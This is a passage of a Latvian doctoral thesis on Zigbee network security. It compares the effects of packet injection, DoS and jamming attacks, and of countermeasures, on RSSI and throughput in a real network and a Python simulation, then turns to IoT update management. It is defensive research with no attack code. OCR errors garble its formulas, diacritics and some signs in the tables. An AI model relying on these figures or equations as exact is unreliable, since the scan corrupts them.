lai detaliz&ti novertetu uzbrukumu ietekmi uz Zigbee tiklu. Statistika lauj ne tikai noteikt, cik
liela mera uzbrukumi pasliktina RSSI un caurlaidsp&u, bet arl identificét parametru
mainigumu, kas ir svarigi tikla stabilitates izpratnei uzbrukumu laika. DoS uzbrukumi rada
ieverojamu signala Itmena (RSS/) kritumu un var izraistt pilnigu savienojuma degradaciju,
savukart pakesu injekcijas izraisa haotiskas signala svarstibas un caurlaidsp&jas nestabilitati,
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veiktsp&jas samazinajumu, padarot to efektivu ilgtermina.

padarot tiklu neprognoz€jamu. Signala trauc@Sanas uzbrukums rada merenu, bet stabilu

7. tabula
Vidgjais RSSI un ta izkliede dazadu uzbrukumu scenarijos (originalie dati)
Uzbrukumuveids Videjais orig. RSS/, dBm Standartnovirze, ¢
PakeSu injekcija (0.25) -66,9 30,28
Pakesu injekcija (0.5) -61,8 30,28
DoS uzbrukums -49,4 20,10
Sakaru signala traucéSana -63,9 11,89
8. tabula
Modificetais RSSI un ta izkliede dazadu uzbrukumu scenarijos
Uzbrukumuveids Videjais mod. RSS/, dBm Standartnovirze, ¢
PakeSu injekcija (0.25) -74,8 31,04
PakesSu injekcija (0.5) -70,4 31,01
DoS uzbrukums -57,2 20,93
Sakaru signala traucéSana -72,5 14,10
9. tabula
Vidgja tikla caurlaidspgja un tas izkliede dazadu uzbrukumu laika (originalie dati)
Uzbrukumuveids Videjais orig. caur, kbit/s Standartnovirze, ¢
PakesSu injekcija (0.25) 48,2 56,95
PakesSu injekcija (0.5) 60,9 57,28
DoS uzbrukums 100,8 24,68
Sakaru signala traucéSana 78,5 23,53

10. tabula

Modificeta tikla caurlaidspgja un tas izkliede dazadu uzbrukumu laika

Uzbrukumuveids Videjais mod. caur, kbit/s Standartnovirze, ¢
PakeSu injekcija (0.25) 44,17 55,34
Pakesu injekcija (0.5) 52,06 54,28
DoS uzbrukums 81,9 39,2
Sakaru signala traucéSana 49,8 33,12

Pretpasakumi, kas balstiti injekcijas pakesSu identifikacija un mérketa blok&sana, paradija
savu efektivitati, tacu tiem ir ierobezojumi. Piem@ram, globala trauc€Sana samazina
uzbrukumu ietekmi, bet var ar1 pasliktinat tikla veiktsp&ju kopuma, un tas uzsver adaptivu
aizsardzibas mehanismu nepiecieSamibu.

Kopuma analize paradija, ka svarigas ir ne tikai vidgjas veértibas, bet arT to mainigums, jo

uzbrukumi ar augstu standartnovirzi rada vislielakas savienojuma stabilitates problémas.
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Pamatojoties uz Siem rezultatiem, var izstradat efektivakus aizsardzibas mehanismus, kas

pielagoti dazada veida uzbrukumiem.

BEZVADU SAKARU PROTOKOLU EFEKTIVITATES
ANALIZE LIETU INTERNETA VIDE CAURLAIDSPEJAS UN
SIGNALA STIPRUMA KONTEKSTA

Simulacijas iestatijumi un veiktspéjas mérijumu metodologija

loT tiklu droSibas un veiktsp&jas analize nereti tiek veikta realos apstaklos, kur tikla
darbibu ietekm& dazadi argjie faktori, pieméram, elektromagngtiskie trauc€jumi, iericu
atrasanas vieta no loT komutatora vai koncentratora (anglu val. hub) un darbibas frekvences
kanala dinamika. Tomér, lai iegiitu precizaku ieskatu par optimalo darbibas potencialu Zigbee
tikla un teoretiskaja aspekta, ir nepiecieSams veikt simulacijas noteikta vide.

Saja nodala aprakstita ieviesta papildu darbiba — simulacija, kas balstas ideala Zigbee tikla
modeli, lai konstatétu un salidzinatu caurlaidsp€jas un RSSI mérfjumus ar ieprieks€ja nodala
aprakstitajiem promocijas darba izstrades gaita iegiitajiem mérjjumiem realaja videé péc
dazadiem uzbrukumiem. Galvenais simulacijas mérkis ir izpétit, ka tikls turpina darboties
optimalos apstaklos, kad tiek noversti argjie uzbrukumi, pieméram, pakesu injekcijas, DoS
uzbrukums un ari sakaru traucgSana, ka ari analiz&tas iegiito rezultatu atSkiribas, salidzinot ar
realo vidi [124, 126].

Simulacijas vide tiek konfiguréta, ieverojot identiskus tikla parametrus — kanalu,
Nakagami izkliedes un jaudas parametrus, teorétisku un praktisko empirisko caurlaidsp&jas
aprekinasanu un pargjos, kas tika izmantoti 3. nodala, lai nodro$inatu ticamu un salidzinamu
rezultatu ieguvi. Sada pieeja lauj novértet realas vides ietekmi uz IEEE 802.15.4 tikla darbibu
un identific@t iesp&jamos optimizacijas risindjumus nakotnes lietojumos.

Promocijas darba izstradatas un realizétas vairakas simulacijas Python programmeésanas
vidé, lai modelétu Zigbee tiklu darbibu un novértétu droSibas aspektus péc dazadiem
nosacijumiem. Sajas simulacijas tika izmantoti tie pasi parametri, kas aprakstiti ieprieksgja
nodala, analizgjot tos reala tikla vidg, tacu ar iesp&ju precizi uzturét darbibu un ieviest dazadu
uzbrukumu scenarijus vienota Python palaisanas programma.

Zigbee tikla modelésana tika veikta, balstoties IEEE 802.15.4 protokola specifika,
simulgjot noteikta skaita tikla ierices un to savstarpgo komunikaciju, signala stipruma

svarstibas un caurlaidsp&jas izmainas dazadu faktoru ietekm&. Simulacija tika lietoti
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matematiskie signala izplatiSanas modeli, pieméram, Nakagami sadalfjums, kas lauj precizak
simul@t realas vides radiofrekvenéu izmainas un uztverSanas traucgjumus.

ArT testa simulacijas vidé realizé tadi uzbrukumu veidi k& DoS uzbrukums, pakeSu
injekcijas uzbrukums un arT trauc@Sanas uzbrukuma veidi, ka aprakstiti 2. nodala. Izstradataja
simulacijas vidé visi uzbrukuma veidi tika modeléti un testéti katra Python palaisanas
programma, kas nodroSinaja efektivu uzbrukuma darbibu, identificéSanu, analiz€Sanu un
pretpasakuma darbibu vienados nosacijumos. Turklat tika veikta aizsardzibas mehanismu
validacija, simulgjot pretpasakumus, pieméram, trauc€jumu identific€Sana un adaptiva
blokésana, kas var biitiski uzlabot tikla noturibu pret tada veida tikla draudiem.

Simulacijas rezultati lauj detaliz&ti novertét, ka dazadi uzbrukuma veidi ietekmé Zigbee
tikla darbibu, un sniedz ieskatu iespgjamos dro$ibas uzlabojumos, ko varétu izmantot, lai

mazinatu draudu skaitu reala 10T videé.
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4.1.att. Signala stipruma identifikatora analize pakeSu injekcijas uzbrukuma laika ar

pretpasakumu ierici Python simulacijas vide.

Lai demonstrétu aizsardzibas mehanismu darbibu simulacijas vidé, analizéSanai ieviests
papildu parametrs — atjauno$anas vertiba. Tas atspogulo tikla sp&ju atgities péc uzbrukuma un
lauj kvantitativi novertét caurlaidsp&jas un RSSI atjaunosanas procesu p&c drosibas uzbrukuma
identific€Sanas un neitralizéSanas.

Matematiski atjaunoSanas vertibu gan originalajam, gan modificétajam RSSI var paradit,

izmantojot 4.1.-4.6. izteiksmi.
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Eksiste dati, kas iegiiti no paketes apstrades laika — originalas RSSI vértibas Ri, Rz, ..., Rn.
Vertibas tiek glabatas saraksta, kas palaiSanas programma tiek identificétas ka original_rssi.
Péc tam, kad tiek piemérota filtréSana (no datiem tiek iznemtas paketes, kuru avots ir
simulacijas trauc€Sanas avots), tiek iegiita apakSkopu vértiba, kuras indeksi ir i € I, kur | c
{1,2,...,N}.

Visu datu videja vertiba:
Rai =~ 2L R; (4.1)
Atjaunoto datu, kas ir filtréti un bez traucéSanas avota, vidéja vértiba:
Reee = 7 Sier Ry (4.2)
Absoliita atjaunosanas vertiba:
AR = Ryec — Ran- (4.3)

Tiek iegiitas arT modificeéta RSSI vertibas Ri*,R2*,...,Rn*, kas tiek aprékinatas, piemérojot
Nakagami sadalfjuma funkciju Python palaisanas programma — apply_nakagami_rssi [74], [116—
119].

Visu modificéto datu vid&ja vertiba:

* 1 *
Rin =7 XL R; (4.4)
Vidgja modificeta RSSI atjaunota:

1

Riec =
rec |I|

Yier R} (4.5)

Absolita modificéta RSSI atjaunoSanas veértiba:

AR*=R* —R' (4.6)

—Trec —all
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Izmantojot 4.1.—4.6. izteiksmi gan originalajam, gan péc Nakagami sadalijuma modificétajam
RSSI vertibam, tika analizéta tikla uzvediba uzbrukumu atvairiSanas laika visos uzbrukumu veidos,

autoram izdevas atrast atjaunoto vértibu RSSI (skat. 4.2. att.).
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4.2. att. Signala stipruma identifikatora analize D0S uzbrukuma laika ar pretpasakumu ierici
Python simulacijas vide.

RSSI laika gaita
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4.3, att. Signala stipruma identifikatora analize sakaru traucé$anas uzbrukuma laika ar

pretpasakumu ierici Python simulacijas vide.

No 4.2.un 4.3. attela grafikiem var secinat, ka simulacijas laika ierices generé RSSI vértibas
intervala no aptuveni —50 dBm lidz —30 dBm un trauc&juma avota RSSI veértibas ir maksimali

zemas (tuvak realajam vertibam, aptuveni —-90 dBm). Tas nozimé, ka pretpasakuma simulacijas
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ierice ir efektiva un reali darbojas pret pakesu injekcijas, DoS un traucgSanas uzbrukumiem, ka

un spgj atjaunot ne tikai RSSI vértibas, bet arT caurlaidspgju.

Caurlaidspéja laika gaita
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4.4, att. Tikla caurlaidsp&jas analize pakesSu injekcijas uzbrukuma laika ar pretpasakumu

ierici Python simulacijas vide.

RSSI atjaunotas vertibas tiek izmantotas tikla caurlaidsp&jas atjaunoSanas modelésanai,
izmantojot izteiksmes (4.7)—(4.12). Izmantojot min&tas izteiksmes, ir iesp&jams aprékinat gan
realo, gan modificéto tikla caurlaidspgju — pirms un p&c Nakagami sadalijuma funkcijas

pielietoSanas RSSI vértibam.

Visu datu vidgja reala caurlaidspgja:

1
Can = 5 XL G (4.7)

kur C; = C(R;) — reala caurlaidspgja, kas aprékinata, izmantojot empirisko caurlaidspéjas
izteiksmi (3.2. izteiksme).

Vidgja atjaunota (filtréta) reala caurlaidspgja:

1

Crec = 1l

Yier Ci (4.8)
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Absoliita atjaunotas caurlaidspgjas vertiba:

AC = Cree — Can. (4.9)

Visu datu vid&ja modificéta caurlaidspéja:

* 1 *
Can = N 21 (4.10)
kur Cf =C(R;) — modificéta caurlaidspgja, kas aprékinata, izmantojot empirisko

caurlaidspgjas izteiksmi (3.2. izteiksme) ar Nakagami sadaltjumu [74], [115 — 119].
Vidgja atjaunota modificéta caurlaidspgja:

1

* o —
CI‘EC - |I|

Yier G} (4.11)
Absolata atjaunotas modificétas caurlaidspgjas vertiba:
AC*=C" —-C" (4.12)

—rec —all’

Izmantojot 4.7.-4.12. izteiksmi, tiek aprékinata atjaunota realas un modificétas

caurlaidspgjas vértiba dazadas uzbrukuma situacijas (4.5. att.).
Caurlaidspéja laika gaita
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4.5, att. Tikla caurlaidsp€jas analize DoS uzbrukuma laika ar pretpasakumu ierici Python
simulacijas vide.
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Caurlaidspéjas laika gaita
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4.6. att. Tikla caurlaidsp€jas analize traucéSanas uzbrukuma laika ar pretpasakumu ierici

Python simulacijas vide.

Simulacijas vid€ tika analiz&ts signala stiprums un caurlaidspgja, nemot véra lielu iericu
skaitu (piem&ram, 10-30 ierices). Tas atbilst situacijai, kadu var sagaidit majas vai maza
uznémuma loT tikla, kad tiek sasniegta zemaka novérota veértiba (skat. 2. pielikums). Analize
ietvera ne tikai signala stipruma un caurlaidsp&ja merfjumus (skat. 2. pielikums), bet arl
modificetu meérjjumu aprekinus un veiksmigu pretpasakumu, kas model&ti simulacijas vidg,

izmantoSanas procentualo vertibu (4.13. izteiksme).

Piam = (”f—m) x 100, (4.13)

Natt

Kur Pjqm — pretpasakuma darbibas procentuala dala; Njqy, — traucgto uzbrukumu pakesu skaits;

Ng¢ — kop€jo uzbrukumu pakesu skaits [115-116].
11. tabula

IEEE 802.15.4 iericu skaita un darbibas ilguma ietekme uz tikla efektivitati pakesu injekcijas

uzbrukuma un pretpasakumu laika (%)

Tris ierices 10 ierices Lidz 30 iericem
30 sekundes 85,14 % 70,37 % 66,67 %
60 sekundes 85,81 % 92,45 % 96,30 %
120 sekundes 86,44 % 79,05 % 88,89 %

98




12. tabula

IEEE 802.15.4 ieri¢u skaita un darbibas ilguma ietekme uz tikla efektivitati DoS uzbrukuma

un pretpasakumu laika (%)

Tris ierices 10 ierices Lidz 30 iericem
30 sekundes 93,33 % 95 % 95 %
60 sekundes 94,17 % 93,33 % 93,33 %
120 sekundes 92,92 % 93,75 % 93,75 %
13. tabula

IEEE 802.15.4 iericu skaita un darbibas ilguma ietekme uz tikla efektivitati trauc€Sanas

uzbrukuma un pretpasakumu laika (%)

Tris ierices 10 ierices Lidz 30 iericem
30 sekundes 78,05 % 84,38 % 97,61 %
60 sekundes 79,17 % 86,36 % 88,59 %
120 sekundes 78,55 % 88,10 % 90,01 %

Atsaucoties uz 11. — 13. tabulam procentualo informaciju, tiek secinats, ka traucé$anas un
pakesu injekcijas uzbrukumi netiek blokéeti tik labi ka DoS uzbrukumi, bet, nemot véra ilgaka
laika analizes un lielaku iericu skaitu, var teikt, ka uzbrukumi nerada tik sp&cigu ietekmi uz
tiklu. Var secinat, ka liela méroga loT tikla uzbrukumiem nepiecieSsams izveidot lielu

uzbrikos$o botu tiklu, pieméram, botnetu vai pastiprinat pasu uzbrukumu.

Realo mérijjumu un simulacijas rezultatu salidzinosa analize

Lai novertétu Zigbee tiklu veiktsp&ju un drosibas aspektus, ir butiski ne tikai modelét un
simulét tikla darbibu kontroléta vide, bet ar1 veikt realus mérjjumus praktiskos apstaklos.
Simulacijas sniedz iesp&ju precizi kontrolét parametrus un testét dazadus scenarijus, tacu tas
nevar pilniba atspogulot realas vides ietekmi. Saja apak$nodala aprakstita veikta realo un
simulacijas rezultatu salidzino$a analize, lai noteiktu atSkiribas starp abiem pieejas veidiem un
formul&tu secinajumus par simulacijas modelu precizitati un ierobeZojumiem.

Salidzinajums veikts, izmantojot tos pasSus tikla parametrus un konfiguracijas, kas
aprakstitas ieprieks&ja nodala, lai nodroSinatu datu atbilstibu un lautu identificet butiskas
novirzes.

Salidzinosa analize veikta péc RSSI (originala un modificéta), caurlaidsp&jas (originalas
un modificétas), atjaunota RSSI un caurlaidsp&jas veértibas (originalas un modificétas),

salidzinot arT procentuali veiksmiga pretpasakuma vértibu péc 30 sekundém, 60 sekundém, ja
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pieslégts noteikts iericu skaits (tris ierices). Analize veikta katram uzbrukuma veidam gan reala

tikla, gan simulacija.

14. tabula
Vidgja RSSI salidzinajums reala tikla un simulacija. PakeSu injekcijas un aizsardzibas
ietekme
Reala tikla darbiba Simulacijas tikla darbiba
Vidgja originala RSSI 56,63 [dBm] —51,90 [dBm]
vértiba [dBm]
Vidgja modificeta vertiba —65,46 [dBm] —58,77 [dBm]
RSSI [dBm]

Vidgja atjaunota originala 49,93 [dBm] —42,21 [dBm]
RSSI vértiba [dBm]

Vidgja atjaunota modificéta 58,75 [dBm] —49,15 [dBm]
RSSI vertiba [dBm]

10. tabula tiek veikts mazs preciz&jums — visas vértibas tiek dalitas ar 2, jo reala tikla

darbiba izmantota injekcijas siitiSanas aizture bija 0,25 ms un 0,5 ms.

15. tabula
Vidgja RSSI salidzinajums reala tikla un simulacija. DoS uzbrukums un aizsardzibas ietekme
Reala tikla darbiba Simulacijas tikla darbiba
Vidgja originala RSSI —49,37 [dBm] -59,30 [dBm]
vertiba [dBm]
Vidgja modificéta RSSI -57,17 [dBm] —67,84 [dBm]
vértiba [dBm]
Vidgja atjaunota originala —44,87 [dBm] -59,95 [dBm]
RSSI vértiba [dBm]
Vidgja atjaunota modificéta -51,77 [dBm] —69,70 [dBm]
RSSI vertiba [dBm]
16. tabula

Vidgja RSSI salidzinajums reala tikla un simulacija. Signala trauc&Sanas uzbrukums un

aizsardzibas ietekme

Reala tikla darbiba Simulacijas tikla darbiba
Vidgja originala RSSI —62,15 [dBm] -53,88 [dBm]
vertiba [dBm]
Vidgja modificéta RSSI —69,53 [dBm] -59,93 [dBm]
vertiba [dBm]
Vidgja atjaunota originala —57,85 [dBm] —47,18 [dBm]
RSSI vertiba [dBm]
Vidgja atjaunota modificeta —63,46 [dBm] -52,94 [dBm]
RSSI vertiba [dBm]
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Reala tikla darbiba, neskatoties uz dazadiem uzbrukuma veidiem, pieméram, injekciju,
DoS un jamming uzbrukumiem, tika novérots, ka vid&jais atjaunotais RSSI (gan originalais,
gan modificgtais) saglabajas labaks, salidzinot ar simulacijas rezultatiem. Tas liecina, ka reala
tikla signala kvalitate un caurlaidspg&ja tiek dalgji uztur@tas, iesp&jams, pateicoties tikla ieksgjai
redundancei un adaptivajiem mehanismiem. Turklat pat pie intensiviem uzbrukumiem
modific&tais RSSI realaja tikla saglaba minimali pienemamu limeni, kas liecina par ZigBee tikla
izturtbu pret uzbrukumiem. Tas vargtu biit saistits ar ar€jiem faktoriem, piemeram, refleksijam,

tikla konfiguraciju vai izmantotajam aizsardzibas metodém. Sie rezultati parada, ka reala tikla

darbiba ir noturigaka neka simulacijas vidé prognozgtais.

17. tabula

Vidgjas caurlaidspgjas salidzinajums reala tikla un simulacija. PakesSu injekcijas un

aizsardzibas ietekme

Reala tikla darbiba

Simulacijas tikla darbiba

Vidgja originala
caurlaidsp&ja [kbit/s]

73,42 [kbit/s]

91,25 [Kbit/s]

Vidgja modificeta
caurlaidspgja [kbit/s]

63,55 [Kbit/s]

89,37 [Kbit/s]

Vidgja atjaunota originala
caurlaidspgja [kbit/s]

80,86 [Kbit/s]

114,57 [Kbit/s]

Vidgja atjaunota modificeta
caurlaidspgja [kbit/s]

70,45 [Kbit/s]

113,31 [Kbit/s]

13. tabula tiek veikts mazs preciz&jums — visas vértibas tiek dalitas ar 2, jo reala tikla

darbiba izmantota injekcijas sttiSanas aizture bija 0,25 ms un 0,5 ms.

18. tabula

Vidgjas caurlaidspgjas salidzinajums reala tikla un simulacija. DoS uzbrukums un

aizsardzibas ietekme

Reala tikla darbiba

Simulacijas tikla darbiba

Vidgja originala
caurlaidspgja [kbit/s]

96,02 [Kbit/s]

94,40 [Kbit/s]

Vidgja modificéta
caurlaidspgja [kbit/s]

73,38 [Kbit/s]

68,05 [Kbit/s]

Vidgja atjaunota originala
caurlaidspgja [kbit/s]

105,04 [Kbit/s]

94,42 [kbit/s]

Vidgja atjaunota modificéta
caurlaidsp€ja [kbit/s]

85,48 [Kbit/s]

64,76 [Kbit/s]
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19. tabula
Vidgjas caurlaidspgjas salidzinajums reala tikla un simulacija. Signala traucé$anas uzbrukums

un aizsardzibas ietekme

Reala tikla darbiba Simulacijas tikla darbiba

Vidgja originala 74,51 [kbit/s] 87,83 [kbit/s]
caurlaidspgja [Kbit/s]

Vidgja modificéta 50,08 [kbit/s] 83,75 [kbit/s]
caurlaidspgja [kbit/s]

Vidgja atjaunota originala 82,25 [kbit/s] 104,33 [kbit/s]
caurlaidspgja [kbit/s]

Vidgja atjaunota modificeta 60,16 [khit/s] 101,97 [kbit/s]
caurlaidspgja [kbit/s]

Simulacijas vide demonstré augstakus caurlaidsp&jas raditajus, salidzinot ar realo tiklu.
Pieméram, injekcijas uzbrukumos simulacijas vid&ja originala caurlaidsp&ja sasniedz
91,25 kbit/s, salidzinot ar 73,42 kbit/s realaja tikla. Tas liecina, ka simulacija trauc&jumi un
troksni ir vieglak parvaldami, kas lauj sistémai darboties efektivak.

Realaja tikla, neraugoties uz uzbrukumiem, atjaunosanas mehanismi parada ievérojamu
efektivitati. Pieméram, jamming uzbrukuma gadijuma vidgja originala caurlaidspéja péc
atjaunoganas pieaug no 74,51 kbit/s Iidz 82,25 kbit/s. Sis raditajs liecina, ka reala tikla darbibas
laika ir iesp&jams veiksmigi mazinat uzbrukumu negativo ietekmi, Tpa$i uz originalajiem datu
parraides kanaliem.

Pozitivs aspekts simulacijas ir to sp&ja precizi modelét uzbrukumu ietekmi un novertet
dazadu atjaunosanas mehanismu efektivitati. Simulacijas augstakie raditaji, pieméram, videja
originala caurlaidsp&ja DoS uzbrukumos (94,40 kbit/s) un jamming uzbrukumos (87,83 kbit/s),
lauj identific@t labakas stratégijas tikla aizsardzibai.

Kopuma simulaciju rezultati piedava skaidru prieksstatu par tikla darbibu optimalos
apstaklos, savukart reala tikla analize uzsver praktisko atjaunoSanas mehanismu nozimigumu

un sp&ju mazinat uzbrukumu ietekmi, Ipasi uz originalajiem datu parraides kanaliem.
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20. tabula

Uzbrukumu veiksmigu pretpasakumu procentuala veértiba reala un simulacijas vidé

Reala tikla darbiba Simulacijas tikla darbiba
Injekcijas uzbrukumu 94,83 % 85,14 %
veiksmigu pretpasakumu
vertiba [%]
DoS uzbrukumu veiksmigu | 47,75 % 93,33 %
pretpasakumu vertiba [%]
Sakaru signala traucéSanas 60,11 % 78,05 %
uzbrukumu veiksmigu
pretpasakumu vertiba [%]

Analizgjot tikla darbibu simulacijas un realaja vidg, tika secinats, ka injekciju uzbrukumu
noverSanas efektivitate realaja tikla sasniedz 94,83 %, kas ir ievérojami augstaka neka
simulacijas, kur efektivitate ir 85,14 %. Tas liecina par spécigu aizsardzibas mehanismu realaja
tikla. Savukart DoS uzbrukumu novérsanas efektivitate simulacijas bija loti augsta — 93,33 %,
bet realaja tikla — tikai 47,75 %, kas liecina par sareZgijumiem $ada veida uzbrukumu
noversana realaja vide. Sakaru signala traucSanas uzbrukumu gadijuma realaja tikla
efektivitate sasniedza 60,11 %, savukart simulacijas — 78,05 %, kas uzsver simulaciju
prieksrocibas idealos apstaklos. Kopuma rezultati liecina, ka realais tikls ir Tpasi efektivs pret
injekciju uzbrukumiem, savukart simulacijas sniedz butisku ieskatu aizsardzibas strat€giju
pilnveidosanai, Tpasi DoS un traucé$anas uzbrukumu gadijumos. Sis salidzinajums izcel
nepiecieSamibu optimizet aizsardzibas mehanismus, lai uzlabotu tikla droSibu dazados

apstaklos.

Kopsavilkums un secinajumi

Analizgjot ieglitos rezultatus realaja tikla un simulacijas vidg, var izcelt vairakus biitiskus
aspektus.

Nakagami sadalijuma modela izmantoSana RSSI un caurlaidsp&jas aprékinos ne tikai
uzlaboja signala kvalitates novért€Sanas precizitati, bet ari paradija optimizétas kanala
izmantoSanas priekSrocibas. Realaja tikla modificetas RSSI vertibas palielinajas par 12—18 %,
simulacija — par 10-15 %, kas apstiprina izveletas pieejas efektivitati IEEE 802.15.4 tikla
darbibas uzlaboSana. Ar1 caurlaidspgja pieauga, it Tpasi realaja tikla, kur ta palielinajas par 10—
14 %, salidzinot ar sakotngjam vertibam [120-121].

Salidzinot simulacijas vidi ar realo tiklu, tika konstatgtas butiskas atSkiribas. Simulacija

nodroS$ina stabilakus rezultatus, jo tiek noversta realo faktoru ietekme, pieméram, argjie troksni,
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aparatiiras ierobezojumi un pakeSu aiztures. Piem&ram, simulacijas DoS uzbrukumu
novérSanas efektivitate sasniedza 93,33 %, savukart realaja tikla ta bija tikai 47,75 %. Sis fakts
uzsver simulaciju izmantos$anas nozimigumu tikla uzvedibas modelgsana idealos apstaklos.

Python simulacijas vides izmantosana praktiskas Zigbee tikla shemas model&3anai sniedz
unikalu iespéju salidzinat fiziski iegitos datus ar simulacijas rezultatiem. Sada pieeja lauj
novertet tikla uzvedibu, iesaistot lielu iericu skaitu, model&jot dazadus scenarijus, tostarp
uzbrukumus un pretpasakumus. Tas ir Ipasi nozimigi, lai analiz&tu ievainojamibu ietekmi uz
plasa méroga tiklu un identific€tu optimalos aizsardzibas mehanismus.

Iegiitie rezultati parada, ka modificétie datu apstrades algoritmi un simulacijas metodes
nodroSina efektivus rikus Zigbee tikla veiktsp&jas analizei un uzlaboSanai. Tomér, neskatoties
uz simulacijas prieksrocibam, realais tikls joprojam ir paklauts dazadiem faktoriem, kas prasa
papildu aizsardzibas mehanismu izstradi un tikla uzvedibas optimizaciju sarezgitos apstaklos.

Lai novertétu model&Sanas rezultatu precizitati, tika veikta simulacijas un eksperimentalo
datu salidzinaSana. Analize lauj saprast, cik labi simulacija atbilst realajiem mérijjumiem, un
identificet iesp&jamas atSkiribas. Tas ir svarigi — ja simulacijas precizi atspogulo
eksperimentalos rezultatus, tad to var izmantot tikla veiktsp&jas prognozeSanai dazados

scenarijos. Simulacijas precizitati autors novertgja, izmantojot divas metriku grupas.

e Vidgja absoluta kluda (anglu val. Mean Absolute Error), kas parada vidgjo atSkiribu
starp simulaciju un eksperimentu.
e Vidgja kvadratiska kluda (anglu val. Root Mean Square Error), kad lielakas kladas tiek

vairak izceltas un lauj identific&t batiskas neatbilstibas [127-128].

Salidzinajumam tika izv€létas eksperimentalo m&ijumu un simulacijas rezultatu RSSI
vertibas, jo tiesi Sis parametrs sniedz butisku informaciju par signala [imena izmainam dazadu
uzbrukumu scenariju laika. RSSI veértibas tika tie$i méritas abas vides, tapéc tas tika izveletas
ka bazes raditajs, lai novertetu modeleSanas precizitati un atbilstibu realajiem tikla apstakliem.
Salidzinajuma mérkis ir noteikt, cik liela méra simulétas RSSI vértibas sakrit ar
eksperimentalajam, un identificét, kuram uzbrukumu metodém ir vislielakas atkiribas starp

model&Sanu un realo tikla uzvedibu.
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21. tabula

RSSI kladu analize eksperimentalajiem un simulacijas datiem (originalas RSSI vértibas)

Uzbrukumu veids

MAE orig. RSSI, dBm

RMSE orig. RSSI, dBm

Pakesu injekcija 33,33 40,01
DoS uzbrukums 19,99 25,74
Sakaru signala trauc€Sana 21,87 23,85

22. tabula

RSSI kltdu analize eksperimentalajiem un simulacijas datiem (modificétas RSSI vértibas)

Uzbrukumu veids

MAE mod. RSSI, dBm

RMSE mod. RSSI, dBm

Pakesu injekcija 34,31 40,9
DoS uzbrukums 21,97 28,51
Sakaru signala trauc€Sana 23,69 28,10

Salidzinot eksperimentalos un simulacijas RSSI datus, tika novérots, ka lielakas atskiribas
rodas pakesSu injekcijas uzbrukumu laika (MAE = 33,33 dBm, RMSE ~ 40,01 dBm originalajam
RSSI). Tas liecina, ka simulacijas §1 uzbrukuma ietekme uz signala limeni varétu bt
nepietiekami precizi modeléta. DoS uzbrukumi uzrada mazakas kltidas (MAE = 19,99 dBm,
RMSE = 25,74 dBm), kas liecina par stabilaku uzbrukuma ietekmi, ko modeli var labak
atspogulot. Signala trauc€Sanas gadijuma kludas ir vidgjas, kas nozimg, ka $1 veida traucgjumi
ir tuvak realitatei, bet joprojam saglabajas simulacijas neprecizitates.

Simulacijas dati pietickami labi atspogulo D0S uzbrukumu ietekmi, tac¢u pakesu injekcijas
simulacijas prasa papildu precizitati, lai labak modelétu faktisko RSSI izmainu dinamiku

realajos apstak]os.

IETEIKUMU IZSTRADE DROSIBAS UZLABOSANAI UN
TIKLA CAURLAIDSPEJAS OPTIMIZACIJAI

I0T attistiba un savienoto ieri¢u skaits strauji pieaug, radot sareZgitus un mérogojamus
bezvadu un sensoru tiklus, kas tiek integréti dazadas dzives jomas. Neskatoties uz loT
prieksrocibam, ieri¢u parvaldiba un drosiba kliist par lielu izaicinajumu. Saja nodala aplikoti
0T ieriCu parvaldibas uzlaboSanas un droSibas optimizacijas aspekti, ka arT piedavati

iesp&jamie risinajumi, lai nodrosinatu 10T veiktsp&ju un drosibu.
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Uzraudzibas un drosibas atjauninajumu parvaldibas problémas lietu
interneta (1oT) konteksta

Viens no galvenajiem 10T izaicindgjumiem ir nepiecieSamiba parvaldit liclu skaitu iericu.
Pieaug pieslégto iericu skaits, un tas prasa, lai parvaldibas sistéma sp&tu mérogot un apstradat
daudz pieprasijumu. Daudzu ieri¢u atjauninajumu koordin€Sana, statusa uzraudziba un
administrativo uzdevumu veikSana var biit arkartigi laikietilpiga un resursietilpiga. Lai risinatu
S0 problému, tiek izmantotas ieri¢u parvaldibas platformas (anglu val. Device Management
Platforms), pieméram, AWS IoT, Azure loT Hub un Google Cloud 10T. Sis platformas piedava
virkni riku automatizgtai iericu parvaldibai, uzraudzibai un atjauninasanai. Automatizetas
sisteémas var uzraudzit iericu stavokli reallaika, siitit pazinojumus par problémam, izmantojot
SMS vai e-pasta integraciju un pat pasas veikt dazus administrativos uzdevumus. Protams, 10T
ierices biezi atSkiras pec to arhitektiiras, uzbiivétajam oper€tajsisttmam un izmantotajiem
sakaru protokoliem, kas padara iericu parvaldibu un integraciju par izaicinajumu. Atskirigi
standarti un dazadu razotaju ieriCu savstarpgjas savietojamibas trikums var radit SkérSlus
efektivai 10T tikla parvaldibai. Problémas risinajums ir universali protokoli, pieméram, MQTT
vai CoAP, kas palidz atrisinat sadarbsp&jas un heterogenitates problémas. Tadi protokoli lauj
iericém sazinaties neatkarigi no arhitektiiras vai ierices raZotaja. Turklat platformu risinajumu
un varteju izmanto$ana lauj integrét dazadu veidu un razotaju ierices viena tikla, izmantojot
zetonu (anglu val. token), lai savienotu 10T tiklu ar makonpakalpojumiem (anglu val. Cloud
Service) vai citu infrastrukttiru ka pakalpojuma vidi (anglu val. Infrastructure as a Service)
[129-132].

Tiek secinats, ka 10T drosiba ir loti svariga, tacu biezi tam ir ierobeZoti resursi, kas
apgritina programmatiiras atjauninaSanu. Turklat 10T ieri€u razotaji biezi vien nenodroSina
regularus atjauninajumus, kas palielina iericu izmantoSanas risku, ka arT launpratigas
programmatiiras izplatiSanos, izmantojot iesp&amas ievainojamibas. Lai to noverstu, ir
nepiecieSams izstradat vieglus atjauninajumus, kurus var uzstadit pat ieric€s ar ierobezotam
resursiem. Svarigs faktors ir iespgja atjauninat ierices, izmantojot FOTA, kas lauj ierices
atjauninat attalinati bez fiziskas piekluves. Pats atjauninasanas process var biit neaizsargats pret
uzbrukumiem, ja nav attieciga nodrosinajuma. Uzbrucgji var izmantot bridi, kad ierice tiek
atjauninata, lai instalétu launpratigu programmatiiru vai kompromitétu sistému. Sada gadijuma
var palidz&t digitalie paraksti, lai nodroSinatu autentiskumu un garantétu integritati. Drosi
sazinas kanali vai tikla aizsardzibas protokoli (TLS / SSL), $ifréSanas algoritmi var nodrosinat

dro$u atjauninajumu un datu parraidi kopuma. Ja tiek konstat€tas programmattiras vai drosibas
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problémas, pastav atiestatiSanas mehanismi (anglu val. rollback), kas lauj atri atgriezties pie
iepriek§€jas programmatiiras versijas, ja ir saglabata datu dublgjumkopija (anglu val. backup).
10T ierices biezi siita sensitivu informaciju un parraida lielu datu apjomu, kas rada privatuma
